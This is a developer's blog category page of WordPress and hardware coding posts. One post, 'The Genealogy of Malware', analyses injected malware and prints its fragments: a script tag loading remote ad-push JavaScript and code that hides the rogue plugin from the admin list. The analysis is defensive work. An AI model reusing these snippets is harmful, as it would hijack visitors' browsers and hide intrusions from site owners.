Category: Coding

  • Automate Your WordPress Theme Development

    Late last year I started working on an ongoing project that involved turning out a number of FSE (Full Site Editing)-based themes rather quickly from provided Figma designs.

    (blockratize publishing)

    Whatever is a programmer to do but make sure I’m being efficient and not reinventing the wheel by creating a solid starter theme.

    Create Block Theme

    When looking at Full Site Editing, probably the most useful tool to have on your belt is the Create Block Theme plugin. While you’re editing your theme in the Site Editor — customizing page templates, headers, footers, colors, typefaces — it then gives you a simple option to write your changes to disk in the theme itself.

    Base for CBT

    When you start using Create Block Theme, it gives you options to either make a child theme of your current theme, or (my preference) start from a clean, blank boilerplate theme.

    For Create Block Theme, it’s this:

    https://github.com/WordPress/create-block-theme/tree/trunk/assets/boilerplate

    There’s really not a lot to it. A header and footer partial, a general index template, and a theme.json file that starts defining parameters. The idea is that you’ll start creating more templates and patterns in the Site Editor and then save them to the theme as needed.

    Automatic namespacing with GitHub Actions

    One of the things I was most delighted by building from my time on the Special Projects Team at Automattic was a GitHub Action we used when generating standard repositories from a given template repository. It was a project I built out at a team meetup in Dublin for template repositories.

    Previously, some tooling was used on the command line to clone the scaffold repository into a local tmp directory and then do a local string/replace and finally push it back up to a new repository. This was relatively fragile, so this solution — handling the renamespacing — was a tremendous win.

    For our use case here, though, it means that as soon as you use the boilerplate to create a new repository, with one click you can have the theme folder and all the namespaces reflecting the new instance’s name.

    Build tools automation

    Build tools used to be a nightmare to set up. With the coming of the @wordpress/scripts package, however, it became significantly simpler to configure and run.

    However, there’s other tooling, such as generating translations, running PHP code formatting, and the like, that are best done in Composer instead. So, it’s nice when all your build tools are configured to work out of the box.

    That’s why I’ve got my boilerplate leveraging a lot of the public work that the Special Projects Team built, and released for just this sort of utility.

    Sass Support

    When I need to write CSS, I prefer to write Sass. I find it easier to read, and easier to reuse.

    However, with Block Themes, I find I’ve moved more toward (where possible) defining the styles in theme.json — as that means they can be overridden in the Site Editor down the road, without having to worry about conflicts of specificity and ordering to ensure our selectors are behaving as expected. Plus, they’ll automatically work better in the Block Editor for more of a WYSIWYG experience, from what I’ve seen.

    Playground Support

    Finally, another aspect that I wanted to configure when spinning up themes was supporting WordPress Playground functionality.

    WordPress Playground is a packaging of WordPress in such a way that instead of connecting to a web server (or even having a web server), all the PHP server-side code runs in your browser directly. This is kind of fun as a thought experiment, but it took me a while to really grasp the utility of it:

    It makes it trivial to set up a test site and let a user (or client or stakeholder) instantly test out a plugin or trial a theme.

    That can mean that when getting feedback on a feature, you can just link the client directly to an up-to-date Playground being powered by the current state of your GitHub repository. And once most of the configuration is set up in the boilerplate, it’ll just work magically.

    Populating with Starter Content

    Anyone who has ever installed a theme and been instantly unimpressed can tell you what a let-down it is when every page is blank, and the site doesn’t look half as engaging as it did in screenshots.

    Fortunately, Playground supports Blueprints, which give us several ways to load content in.

    Firstly, it’s possible to bulk import content through a WXR (WordPress XML Export format) — there’s a step for blueprints where you can just give it the path to your export, and it will automatically pull it in.

    But perhaps more interestingly, there’s a step called importThemeStarterContent instead — which gives us a lot closer to what we’re after. Starter Content is a feature that was introduced through the Customizer way back in WordPress 4.7 — nearly ten years ago. What a wonderful feature that just needs a little bit of love to bring it back up to scratching our itch here in the days of block-based themes, and it does the job quite well.

    Starter Content Menus

    When navigation block menus were introduced for Block Themes, there was a change from the prior implementation of nav menus (under the Appearance menu). For one, navigation block menus can trivially have other types of blocks contained in them, that couldn’t have been represented well in the classic nav menu post type — so it had to shift over.

    The problem is that when theme starter content is imported, it imports as the pre-block nav menus. Core offers a class to rewrite them on demand to block-based menus, however, but they can’t be referenced directly.

    So, instead, we can use another step to run some custom PHP when Playground is setting up the instance. Generally in the examples, it runs inline php, but there’s no reason we can’t just have it load a PHP bootstrap file from our theme instead!

    {
    	"step": "runPHP",
    	"code": "<?php require '/wordpress/wp-load.php'; include_once get_theme_file_path('_playground/setup.php');"
    }
    

    Once that’s done, we just need to iterate through and tidy up after the Starter Content import (and maybe do a few other tiny things like configuring permalink structures)!

    Finally, core’s navigation block only supports specifying menus by ID — no support for slugs. If we want to have distinct header and footer menus, then we can specify which goes where by adding a custom slug property in our template, that maps to the menu in our Starter Content — https://github.com/georgestephanis/theme-repo-template/pull/1

    Is It Perfect?

    No, of course not. But no project ever really is.

    For me, though, it’s a great starting point, and has saved me a bunch of time for client work.

    I hope you’ll find it useful, and make some super-cool-stuff with it.

    Fediverse Reactions
  • How I Built WordUp: A Guide to Creating a macOS App

    I realized recently that I don’t do nearly enough about sharing some of the cool things I build. Or blogging. I don’t do nearly enough of either.

    TL;DR: I just shipped my very first macOS desktop app called WordUp.

    https://github.com/georgestephanis/WordUp/releases/tag/v0.2.1

    I’ve used some desktop apps, such as CloudApp (now Zight) and CloudUp (which was acquired shortly after I joined Automattic) in years past. The basic gist is, they live in your computer’s menu bar, and when you either take a screenshot or drag an image onto the icon, it will upload it to their service and give you a handy URL that you can use to share the asset with a client, or a user, or whatever you may need.

    Hugely useful! A modern-day analogue may be something like Loom, I suppose?

    Anyway, at their most basic, these programs do a few relatively trivial things:

    1. Notice when a screenshot is taken or an image is requested to be uploaded,
    2. Upload it to a cloud server for sharing, and
    3. Automatically drop a link to the asset onto your clipboard.

    Well, I’ve wondered for years why this is something that folks need an external company to do. I work with WordPress daily, and I love open-source software! Why can’t an app just connect to your WordPress site and use that as the remote server for hosting the assets?

    No image limits, you own your own data and content, and no need for your usage or credentials to pass through anyone else’s servers.

    My only problem? I’m a web developer, and I have no idea how to work with building desktop apps.

    So I’ve spent the past decade periodically starting conversations with folks in the Apps teams while I worked at Automattic, asking if anyone would be interested in throwing it together or porting over the CloudUp desktop app functionality to also connect to self-hosted WordPress sites. Didn’t get any takers. So I stopped asking, as I really didn’t want to turn into Glootie.

    The other week when it happened to come up and I mentioned it to (fellow ex-Automattician) Jorge Leandro Perez, he suggested that I try to make it myself, using AI-based tooling with Cursor.

    A minor digression: Thoughts and feelings on large language models and generative AI are complex, with outspoken individuals on all sides. I tend to be middle-of-the-road and may use them here and there — but selectively. I should probably write a bigger post on my thoughts when it comes to generative AI soon.

    I wound up delving in, and through a lot of refinement and debugging (including a decent bit of learning Swift and manually rewriting bits where AI got the APIs it was trying to use wrong), I finally got something in a state that I was pleased with.

    A couple of caveats, though:

    • Authentication currently works with self-hosted sites and leverages the WordPress REST API through Application Passwords.
      • As it uses Application Passwords for authentication, if you’re using a security plugin such as Wordfence or others, they may be disabling Application Passwords on your website by default — you’ll need to re-enable it in their settings panel for this to work.
      • I’d like to eventually integrate it with WordPress.com’s REST API, but that’ll involve app keys and secrets for its authentication system, as WordPress.com doesn’t support the same implementation of Application Passwords that the open-source WordPress project provides (and also doesn’t support the authorize-application.php workflow that I’m using). So, maybe in the near future.
    • It can’t upload any media that your WordPress site isn’t configured to allow. So, by default, no SVG assets (as an example).
    • You can only authenticate to a single WordPress site. I’d like to eventually let you authenticate to multiple, and then you can change which one it uploads to in settings, but that’s not there currently (as I wanted to keep the UX simple).
    • I’m not a UX designer. At all! I made something functional that I thought looked … good enough? If anyone else would like to chip in, feel free! I’d gladly welcome input.

    How Using Generative AI / “Vibe” Coding Worked Out

    Honestly, it worked alright. There were numerous sequential prompts to develop an idea, telling it that its code was generating errors, and sometimes it would get balled up into a loop, and I’d have to go in and manually debug.

    But it worked pretty well to get a quick first pass built. I think I’d have had a much harder time with it if I wasn’t already comfortable with the system it was trying to integrate with, as well as other programming languages. Plenty of concepts translate well between programming languages; it’s just different syntax to implement them — so being able to leverage generative AI to take something I’m able to be very specific with and describe clearly and then build it out into a functional project was hugely beneficial.

    It feels like it’s shifting from the importance of being an expert in the programming language itself to being able to think through problems and use pseudo-code to describe the problem and solution well enough and let generative AI handle the implementation (even if it often gets it wrong).

    It’s an interesting time to be in software development, and I’m curious to see how else this sort of tech impacts the ecosystem. Just as StackOverflow and Google shifted the importance of “knowing” things to being able to find the answer, it feels like generative AI is going to emphasize the ability to think about a problem and find novel solutions and using developers to review code to polish it up for performance and security, instead of the nitty-gritty of implementations.

    Is this useful to you? Are there other ways that you’d like to be able to integrate things with your WordPress site but aren’t sure how to build a linkage? Let’s talk about the options in the comments below! 👇🏼

  • WP REST API vs GraphQL Performance

    A client had recently pointed out to me a post detailing performance differences between the REST API that ships in WordPress Core, and WPGraphQL —

    https://www.wpgraphql.com/docs/wpgraphql-vs-wp-rest-api#performance

    In it, it asserts that the difference between two similar queries running the REST API and WPGraphQL yields vastly different performance impacts:

    Below are screenshots of the same WordPress site asking for 100 posts from the WP REST API and 100 posts from WPGraphQL with the Chrome network tab open.

    REST:

    • Download size: 335 kb
    • Time: 7.91s

    WPGraphQL

    • Download size: 6.4 kb
    • Time: 67 ms

    That seemed like an unrealistic difference from an initial glance — the REST API takes over 100x longer to return data than WPGraphQL? I wanted to check and see if I could duplicate the test and find out what accounted for the orders of magnitude difference between the two.

    (more…)
    Fediverse Reactions
  • Two Coins Bug

    There’s an old riddle I heard while growing up that I used to hate.

    You have two coins that add up to 30 cents, but one isn’t a nickel. What are the two coins?

    The answer, of course, is a quarter and a nickel. Like many riddles, it comes down to an assumption we make when parsing the question. In this case, it’s absolutely true that one of the coins isn’t a nickel — but the other one is.

    This riddle felt particularly salient to some work I was doing in WordPress this week, around the logic of MySQL queries and the WP_Meta_Query functionality.

    As sometimes an example can explain a bit more than theoretical, consider the following:

    Post ID: 50, has a title of "Fifty", and two separate rows in the postmeta table, both under the 'color' key -- 'red', and 'blue'.
    
    Post ID: 51, has a title of "Fiftyone", and one row in the postmeta table, under the 'color' key -- 'red'

    How would you query for all posts that have color of red, but do not have color of blue? My first attempt was something along the lines of this:

    get_posts(
      array(
        'meta_query' => array(
          array(
            'key' => 'color',
            'compare' => '=',
            'value' => 'red',
          ),
          array(
            'key' => 'color',
            'compare' => '!=',
            'value' => 'blue',
          ),
        ),
      )
    )
    

    However, to my initial surprise, this returned both ID 50 and ID 51! So I pulled up the query to see why that could be, and it turned out the generated SQL looked something like:

    SELECT *
    FROM wp_posts
    INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
    INNER JOIN wp_postmeta AS mt1 ON ( wp_posts.ID = mt1.post_id )
    WHERE ( wp_postmeta.meta_key = 'color' AND wp_postmeta.meta_value = 'red' )
    AND ( mt1.meta_key = 'color' AND mt1.meta_value != 'blue' )
    GROUP BY wp_posts.ID
    

    (slightly simplified)

    Well, you would ask, how does that return post ID 50? Well, because both of the joins to the meta table wind up finding the same meta! We say not to return a result with a meta key of blue, but SQL interprets that as find me any entry with a meta key that is not blue — and as post ID 50 also has a meta key that is red (which is not blue) we’re in business!

    Anyway, finding the absence of something in the where clause is tricky — as the where clause specifies what you want to select. I’d looked and I’m pretty sure just using what’s already there in the WP_Meta_Query class it’s not possible to properly structure this, I’d done some work on it a decade ago, implementing the EXISTS and NOT EXISTS comparators.

    So we could get the result we wanted, if we rewrote the above MySQL to:

    SELECT *
    FROM wp_posts
    INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
    LEFT JOIN wp_postmeta AS mt1 ON ( wp_posts.ID = mt1.post_id AND mt1.meta_key = 'color' AND mt1.meta_value = 'blue' )
    WHERE ( wp_postmeta.meta_key = 'color' AND wp_postmeta.meta_value = 'red' )
    AND ( mt1.post_id IS NULL )
    GROUP BY wp_posts.ID
    

    The rough idea is that it will attempt to do a left join instead of an inner join, which could not turn up any results from the joined table — so we explicitly want to query for rows where a column that would have to be there — post_id — being NULL to ensure that there was nothing for it to join to. Thereby ensuring it NO HAZ any blue values.

    So here’s what I wound up writing. It’s still rough, but functional thus far in my testing (so long as the NO HAZ isn’t the first parameter in the meta_query — as written the regex relies on the aliasing of the table name to parse it out). There’s probably some cleanup that it needs, however …

    /**
     * An extra filter to let our custom `NO HAZ` meta_compare work!
     */
    function no_haz_meta_compare( $sql, $queries, $type, $primary_table, $primary_id_column, $context ) {
    	global $wpdb;
    
    	foreach ( $queries as $key => $query ) {
    		if ( ! empty( $query['compare'] ) && 'NO HAZ' === $query['compare'] ) {
    
    			// If we've got a NO HAZ query, pull out the table alias it's using for the join.
    			$matches = array();
    			$search  = sprintf(
    				'#\( (\w+)\.meta_key = \'%1$s\' AND (\w+)\.meta_value = \'%2$s\' \)#',
    				preg_quote( $query['key'], '#' ),
    				preg_quote( $query['value'], '#' )
    			);
    			if ( preg_match( $search, $sql['where'], $matches ) ) {
    				$table_alias = esc_sql( $matches[1] );
    
    				// And then rewrite the JOIN bit to do a LEFT join instead of inner, so it can check for null (absence)
    				$sql['join'] = str_replace(
    					array(
    						sprintf(
    							"INNER JOIN {$wpdb->postmeta} AS {$table_alias} ON ( {$wpdb->posts}.ID = {$table_alias}.post_id )",
    							$matches[1]
    						),
    						sprintf(
    							"LEFT JOIN {$wpdb->postmeta} AS {$table_alias} ON ( {$wpdb->posts}.ID = {$table_alias}.post_id )",
    							$matches[1]
    						),
    					),
    					$wpdb->prepare(
    						"LEFT JOIN {$wpdb->postmeta} AS {$table_alias} ON ( {$wpdb->posts}.ID = {$table_alias}.post_id AND {$table_alias}.meta_key = %s AND {$table_alias}.meta_value = %s )",
    						$query['key'],
    						$query['value']
    					),
    					$sql['join']
    				);
    
    				// And now yeet the original WHERE bit and swap it to testing for `post_id` in the postmeta table being null -- or confirming that none were found.
    				$sql['where'] = str_replace(
    					$matches[0],
    					"( {$table_alias}.post_id IS NULL )",
    					$sql['where']
    				);
    
    			}
    		}
    	}
    
    	return $sql;
    }
    add_filter( 'get_meta_sql', 'no_haz_meta_compare', 10, 6 );
    

    which would permit the following to return only post id 51:

    get_posts(
      array(
        'meta_query' => array(
          array(
            'key' => 'color',
            'compare' => '=',
            'value' => 'red',
          ),
          array(
            'key' => 'color',
            'compare' => 'NO HAZ',
            'value' => 'blue',
          ),
        ),
      )
    )
    

    The code would probably be a lot cleaner if it was in WP_Meta_Query proper, instead of regex parsing it all out — or if there was a filter in `WP_Meta_Query::get_sql_for_clause` to allow overriding — but hopefully this serves as a useful proof of concept for someone else hitting a similar issue down the road.

  • Jetpack Infinite Scroll for Single Posts!

    Had a problem come up recently where folks wanted to keep engaging visitors on their website on a single post page — keep loading more posts afterwards when they kept scrolling.

    I’ve heard of this before, and even seen some plugins accomplish it — for example, Infinite Post Transporter, by Tom Harriganwp.org / github — the codebase of which looks to be a modified version of Jetpack’s Infinite Scroll from about six years ago — (contemporary link).

    So, I was curious to see how far I could go about getting close to what we needed just by playing with Jetpack’s own library, rather than duplicating a bunch of the code in a second plugin.

    For anyone that wants to skip to the end and just get something to play with, here’s the gist that I’ve got the code shoved into for now.

    First, a couple specifications we’re working with here:

    • I want to make this work on single post pages, specifically of the post post_type.
    • I don’t want to modify Jetpack files, or deregister / replace them with customized versions of the files. Filters / actions only.

    So, skimming through the Jetpack Infinite Scroll codebase, there’s a couple conditionals we’re gonna need to short out to get things triggering on single post pages.

    The bulk of the per-page code comes from The_Neverending_Home_Page::action_template_redirect() — this is the function that will register/enqueue Infinite Scroll’s scripts and styles, and set up footer actions to populate some javascript globals that specify state. However, for single posts, we’ll need to override two points.

    		if ( ! current_theme_supports( 'infinite-scroll' ) || ! self::archive_supports_infinity() )
    			return;
    

    By default, single posts aren’t archives, and don’t work. So let’s hotwire it! Digging into The_Neverending_Home_Page::archive_supports_infinity() we can see that the whole response to that call is simply passed through a filter — `infinite_scroll_archive_supported`

    		/**
    		 * Allow plugins to filter what archives Infinite Scroll supports.
    		 *
    		 * @module infinite-scroll
    		 *
    		 * @since 2.0.0
    		 *
    		 * @param bool $supported Does the Archive page support Infinite Scroll.
    		 * @param object self::get_settings() IS settings provided by theme.
    		 */
    		return (bool) apply_filters( 'infinite_scroll_archive_supported', $supported, self::get_settings() );
    

    So to filter this, we’ll want to make sure we’re using the right conditionals and not filtering too many pages. In this case, is_singular( 'post' ) feels appropriate.

    For brevity here, I’ll just be using anonymous functions, but in practice it’s likely far better to name your functions so other code can remove the filters if it becomes necessary.

    add_filter( 'infinite_scroll_archive_supported', function ( $supported ) {
    	if ( is_singular( 'post' ) ) {
    		return true;
    	}
    	return $supported;
    } );
    

    Groovy, now we’ve got the function registering the scripts we care about. But there’s a second conditional later in the ::action_template_redirect() method that we also get snagged on — ::is_last_batch().

    		// Make sure there are enough posts for IS
    		if ( self::is_last_batch() ) {
    			return;
    		}
    

    Fortunately, like our last example, The_Neverending_Home_Page::is_last_batch() is also filterable.

    		/**
    		 * Override whether or not this is the last batch for a request
    		 *
    		 * @module infinite-scroll
    		 *
    		 * @since 4.8.0
    		 *
    		 * @param bool|null null                 Bool if value should be overridden, null to determine from query
    		 * @param object    self::wp_query()     WP_Query object for current request
    		 * @param object    self::get_settings() Infinite Scroll settings
    		 */
    		$override = apply_filters( 'infinite_scroll_is_last_batch', null, self::wp_query(), self::get_settings() );
    		if ( is_bool( $override ) ) {
    			return $override;
    		}
    

    So again, we can just override it as we had before, only this case returning false:

    add_filter( 'infinite_scroll_is_last_batch', function ( $is_last_batch ) {
    	if ( is_singular( 'post' ) ) {
    		return false; // Possibly retool later to confirm there are other posts.
    	}
    	return $is_last_batch;
    } );
    

    Great! So now we’ve got the scripts that do the work being output on our single posts page, but we’re not quite there yet! We need to change some of the variables being passed in to Jetpack’s Infinite Scroll. To modify those variables, we have — you guessed it — another filter.

    The JS Settings are being output in The_Neverending_Home_Page::action_wp_footer_settings() (rather than being added via wp_localize_script), and here’s the filter we’ll be working off of:

    		/**
    		 * Filter the Infinite Scroll JS settings outputted in the head.
    		 *
    		 * @module infinite-scroll
    		 *
    		 * @since 2.0.0
    		 *
    		 * @param array $js_settings Infinite Scroll JS settings.
    		 */
    		$js_settings = apply_filters( 'infinite_scroll_js_settings', $js_settings );
    

    so we’ll start with a generic action like this, and start customizing:

    add_filter( 'infinite_scroll_js_settings', function ( $js_settings ) {
    	if ( is_singular( 'post' ) ) {
    		$js_settings['foo'] = 'bar'; // any we need to make!
    	}
    	return $js_settings;
    } );
    

    We can verify this change is in place by loading up a single post page, and searching for foo — confirming that it’s in the encoded string that’s being output to the page. So now we need to start looking at the javascript that runs and see what changes to inputs we may need to make.

    First, we’ll need to make sure that the wrapper container we want to append our new posts to is the same as the ID that we use on archive pages. If it’s not, we just need to override that. In my case, I had to change that to main on the single post pages — which can be done like so:

    $js_settings['id'] = 'main';
    

    If your wrapper id is the same as archive pages, this can just be skipped. Here we can also override some other options — for example if we would rather change the verbiage on the load more posts button we could do

    $js_settings['text'] = __( 'Read Next' );
    

    or to switch from the button click, to autoloading on scroll we could do

    $js_settings['type'] = 'scroll';
    

    Now, if you tried what we have so far, you may notice that instead of getting new posts, you’ll likely see the same post loading over and over forever. That’s because of the parameters getting passed through as query_args — if you pop open your browser window to examine infiniteScroll.settings and look at the query_args param, you’ll likely notice that we’ve gotten the infiniteScroll.settings.query_args.name populated! This is getting passed directly to the ajax query, so when trying to pull up more posts, it’s restricting it to only the already queried post, as that’s from the query WordPress ran to generate the current url’s response.

    So let’s just nuke it, and for good measure ensure we don’t inadvertently re-display the post in question.

    $js_settings['query_args']['name'] = null;
    $js_settings['query_args']['post__not_in'][] = get_the_ID();
    

    Cool cool cool. So at this point, when you run the post, everything /should/ look about right, except for one small thing! You may see the url updating as you scroll to append /page/2/ to the path!

    Unfortunately a lot of this functionality is hard-coded and I couldn’t find a good way to override it to update the url to — for example — the url of the post you’ve currently got in view, so I wound up doing the next best thing — nuking the functionality entirely.

    	/**
    	 * Update address bar to reflect archive page URL for a given page number.
    	 * Checks if URL is different to prevent pollution of browser history.
    	 */
    	Scroller.prototype.updateURL = function ( page ) {
    		// IE only supports pushState() in v10 and above, so don't bother if those conditions aren't met.
    		if ( ! window.history.pushState ) {
    			return;
    		}
    		var self = this,
    			pageSlug = self.origURL;
    
    		if ( -1 !== page ) {
    			pageSlug =
    				window.location.protocol +
    				'//' +
    				self.history.host +
    				self.history.path.replace( /%d/, page ) +
    				self.history.parameters;
    		}
    
    		if ( window.location.href != pageSlug ) {
    			history.pushState( null, null, pageSlug );
    		}
    	};
    

    As the js relies on rewriting the url via calling .replace() on a string, if we eat the token it searches for off the end, it’ll just wind up replacing the url with itself, and doesn’t look awkward. And so —

    $js_settings['history']['path'] = str_replace( 'page/%d/', '', $js_settings['history']['path'] );
    

    So, functionally this should get you most of the way there. The only other bit that I had added to my implementation was something that could trivially be done anywhere — Custom CSS in the Customizer, or theme files — but I wanted to hide Post Navigation links in my theme. So I just did a fun little trick of enqueueing my one line css tweak (with appropriate conditionals) like so:

    add_action( 'template_redirect', function () {
    	if ( ! class_exists( 'Jetpack' ) || ! Jetpack::is_module_active( 'infinite-scroll' ) ) {
    		return;
    	}
    
    	if ( is_singular( 'post' ) ) {
    		// jisfsp = Jetpack Infinite Scroll for Single Posts
    		wp_register_style( 'jisfsp', null );
    		wp_enqueue_style( 'jisfsp' );
    		wp_add_inline_style( 'jisfsp', 'nav.post-navigation { display: none; }' );
    	}
    } );
    

    This way, if someone disables either Jetpack or infinite scroll, the conditional trips and it stops hiding post navigation links.

    I hope this has been somewhat useful to someone. It’s probably not at the point where I’d be comfortable packaging it up as a plugin for end-user installation, but if you’ve got a passing understanding of code and how WordPress works, it shouldn’t be difficult to re-implement for a client. If there’s any other tweaks on Infinite Scroll that you wind up finding and would like to suggest, please feel free to leave a comment below, and it’ll hopefully be useful to others. Cheers!

  • The Genealogy of Malware

    While working on Jetpack Security, one thing I have a greater opportunity than most to do is inspect naughty bits of code that get injected into a user’s site.

    One that I stumbled upon this past week reminded me of another from a bit ago — I can’t say precisely what reminded me of it, but my brain connected the two. So I looked back to find the prior infection and this is what turned up:

    https://www.diffchecker.com/MYId3pFX

    Clearly — a number of similarities between the two files. Of the four hundred plus lines in question, only fifty or so contain any changes, and most of those are namespace changes — changing mont to ccode, or perhaps some subtle refinements on how it detects the remote visitor’s IP address.

    One of the most interesting aspects — to me anyways — is tracing the source of various snippets used in the code.

    Good artists copy. Great artists steal.

    Steve Jobs, misattributing a quotation to Pablo Picasso

    So firstly, when skimming the code, around line 20, I found the following:

    add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
    function salcode_add_plugin_page_settings_link( $links ) {
    	$links[] = '<a href="' .
    		admin_url( 'options-general.php?page=monit' ) .
    		'">' . __('Settings') . '</a>';
    	return $links;
    }
    

    Huh — it references salcode — I know that namespace, it’s commonly used by Sal Ferrarello! Figuring it may have been lifted off an article he’d written, I reached out to check. Sure enough, he had a 2014 article called “WordPress Plugin Add Settings Link” that he pointed me towards — and sure enough, the code was a straight copy/paste job in the Monitization variant. In the Custom Code variant of the malware, it was tweaked to be namespaced a bit further (changing the trailing link to ccode, but the similarities are still there.

    We also can glean a bit from the tags that the code tries to inject. The original attempts:

    <pre class="wp-block-syntaxhighlighter-code"><a href="//ofgogoatan.com/apu.php?zoneid=3260072">//ofgogoatan.com/apu.php?zoneid=3260072</a>
    <a href="https://pushsar.com/pfe/current/tag.min.js?z=3260077">https://pushsar.com/pfe/current/tag.min.js?z=3260077</a>
    <a href="//inpagepush.com/400/3324386">//inpagepush.com/400/3324386</a></pre>
    

    Where the latter Custom Code implementation attempts:

    <pre class="wp-block-syntaxhighlighter-code"><script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
    <a href="https://propu.sh/pfe/current/tag.min.js?z=3388595">https://propu.sh/pfe/current/tag.min.js?z=3388595</a>
    <a href="//inpagepush.com/400/3388600">//inpagepush.com/400/3388600</a></pre>
    

    Beside the swap from which quotes need escaping due to single vs double in the wrapping string, we can see a couple notable bits:

    • The first tag seems to have been swapped out in its entirety.
    • The second tag seems to have swapped from pushsar.com to propu.sh — with the general url structure remaining the same. This can indicate the service just changed domains, and kept everything else business as usual.
    • The last tag remained as before — inpagepush.com — but just changing the identifier on the end.

    A bit later on, we can find several instances where the mont namespace (possibly typo’d from monit) was not changed to ccode

        register_setting( 'ccode-settings', 'default_mont_options' );
    
    if(get_option('default_mont_options') !=='on')
    

    At the end of the file, we’re confronted with this bit:

    function hide_plugin_trickspanda() {
      global $wp_list_table;
      $hidearr = array('monit.php');
      $myplugins = $wp_list_table->items;
      foreach ($myplugins as $key => $val) {
        if (in_array($key,$hidearr)) {
          unset($wp_list_table->items[$key]);
        }
      }
    }
    

    Here again, we’ve got a strong hint from the namespace, trickspanda. So in this case, it came from an article that Hardeep Asrani wrote on Tricks Panda — again, back in 2014. The Monitization variant didn’t seem to change the namespace, leaving it as trickspanda, but the later Custom Code variant swapped it out to ccode.

    Finally, at the conclusion of the Custom Code variant (not present in the original) we can see the following:

            function getVisIpAddr_ccode() { 
          
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
            return $_SERVER['HTTP_CLIENT_IP']; 
        } 
        else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
            return $_SERVER['HTTP_X_FORWARDED_FOR']; 
        } 
        else { 
            return $_SERVER['REMOTE_ADDR']; 
        } 
    }
    

    As it is, this seems to have been lifted from a Geeks For Geeks article dated May 2019. The code uses it up above to handle instances where traffic comes through a load balancer or proxy or the like, with original IP addresses in the header. Interestingly enough, for anyone else who has a need for similar functionality, WordPress Core ships with a similar function already, get_unsafe_client_ip().

    So what have we found? Code gets reused, a lot. Old tutorials from 2014 can still offer information going strong years afterwards. Be wise what bits of bad code you use to fingerprint it and identify future infections, as it’s far better to find the unremarkable but unique bits, than the bits they may change to conceal it from future iterations.

  • WordPress of Things

    Continuing my prior remarks on building Internet of Things devices that connect to WordPress, I delivered a talk at WordCamp Lancaster earlier this month on that topic.

    All the code from the examples is up on my GitHub page here:

    https://github.com/georgestephanis/wordpress-of-things/

    I’ll be working on some future posts that open each project up in more depth to explain how it comes together.

  • Motion Sensor WiFi Light Switch

    Motion Sensor WiFi Light Switch

    The downside of the old knob and tube style of wiring is that some off-the-shelf light switches, like the common Leviton motion-sensor switch, are totally non-functional without a ground wire — which knob and tube wiring doesn’t typically provide.

    What is a hacker to do?

    The smarter solution is probably to find a way to run a ground wire through the walls of half hour house and up two floors to go from your junction box to the switch in question.

    My solution?  Build my own.

    The simplest way to cobble together a motion detector light would be something like a PIR sensor attached to a power supply and a relay to safely control mains voltage, but that has no way to manually activate or deactivate the light.

    To add a bit more granular control to the system, I decided to build it on top of an Arduino base, so I could add more controls.  For space constraints (as well as the fact that I had a spare one lying about), I used a Wemos D1 Mini — easily programmed via the Arduino IDE, and if I ever want to expand its capabilities, I can easily connect it to my home wifi and attach it to Blynk.

    As an added bonus, I has a D1 Mini Relay Shield lying about as well.  This made one less thing I needed to wire up, and could just plug it in.  Add in a momentary switch for human input, and our circuit looks something like this:

    closet_bb

    (Note, that is the relay shield stacked on top of the D1 Mini, they can be hard to differentiate in the mockup)

    Bill of Materials:

    After some tinkering, here is my code to get the system working:


    /**
    * PIR Closet Sensor, with kill switch.
    */
    const int relayPin = D1;
    const int pirSensor = D2;
    const int btnSensor = D8;
    int pir = 0; // Variable for pir.
    int pirState = LOW; // Start as off.
    int btn = 0; // Variable for button.
    int btnState = LOW; // Start as off.
    void setup() {
    Serial.begin( 9600 );
    Serial.println();
    Serial.println( "Starting up…" );
    pinMode( relayPin, OUTPUT );
    pinMode( pirSensor, INPUT );
    pinMode( btnSensor, INPUT );
    }
    void loop() {
    btn = digitalRead( btnSensor );
    pir = digitalRead( pirSensor );
    // If a button is pushed, and motion is detected,
    // turn off the light and wait until it resets.
    if ( HIGH == btn && LOW == btnState && HIGH == pir ) {
    digitalWrite( relayPin, LOW );
    btnState = HIGH;
    Serial.println( "Killswitch detected — turning off light." );
    delay( 1000 );
    return;
    }
    // If the button was pressed, keep shorting
    // until the pir goes low again.
    if ( HIGH == btnState ) {
    if ( LOW == pir ) {
    Serial.println( "No motion, resetting state." );
    btnState = LOW;
    }
    if ( HIGH == btn ) {
    Serial.println( "Button pressed, turning light back on." );
    digitalWrite( relayPin, HIGH );
    btnState = LOW;
    }
    return;
    }
    // If the pir senses light,
    if ( HIGH == pir ) {
    digitalWrite( relayPin, HIGH );
    if ( LOW == pirState ) {
    Serial.println( "Motion detected!" );
    pirState = HIGH;
    }
    } else {
    digitalWrite( relayPin, LOW );
    if ( HIGH == pirState ) {
    Serial.println( "Motion ended." );
    pirState = LOW;
    }
    }
    }

    view raw

    closet.ino

    hosted with ❤ by GitHub

    The code could probably be simplified by removing the logging messages, but I like to leave them there for further reference and debugging down the road.

    So now that we’ve got the components gathered, it’s time to look at how we put it in!  As luck would have it, the electrical box that the previous switch used was a double gang box, so I had a bit of room to work with. I picked up a solid 2-gang cover at my local Home Depot, and drilled two holes in it for the switch and the PIR sensor.

    Now, all is right with the world, but we still have to actually power it!  Through some creative wiring, we’ve thus far managed to avoid having to splice any wires together (by using both the 5v and 3v3 outs on the board for wiring to different peripherals, and only the PIR needed a ground wire) and to continue that trend, we’re going to be powering it through the D1 Mini’s USB port, and to power that USB port via a 6″ USB cable, connected to a genuine Apple iPhone power adapter — they’re tiny, and very well built transformers (just don’t mess around with cheap knockoffs, they’re terrifyingly dangerous — especially if it’s going to be mounted inside a wall!).

    To connect the 120v AC to 5v DC transformer (the aforementioned power adapter) to mains power, my plan is to connect it to home wiring via two crimp terminals and some heat-shrink tubing around that as additional insulation to avoid any exposed metal, as there isn’t an outlet in the box to plug the adapter into.

    Well, that’s the plan.  As I said — far trickier than just running a ground wire across half my house, but hopefully more fun and I’ve learned a lot in the process.  I’m expecting to hook it up in the next couple days, and will update here when it’s live and functioning!

  • Electronic Conference Badges

    Ever since attending Defcon 24 this past August, I’ve been enthralled with the idea of electronic event badges.

